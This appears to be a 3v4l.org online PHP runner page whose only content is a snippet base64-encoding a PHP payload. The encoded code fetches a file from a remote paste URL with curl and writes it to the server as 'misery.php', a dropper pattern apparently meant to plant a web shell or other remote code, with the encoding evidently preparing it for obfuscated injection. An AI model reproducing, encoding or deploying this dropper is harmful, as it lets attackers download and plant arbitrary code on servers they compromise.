3v4l.org

run code in 300+ PHP versions simultaneously
<?php base64_encode('$url=\'http://paste.neurohack.com/raw/YM77y/\';$path=\'./misery.php\';$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$data=curl_exec($ch);curl_close($ch);file_put_contents($path, $data);');

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33.37 ms | 402 KiB | 5 Q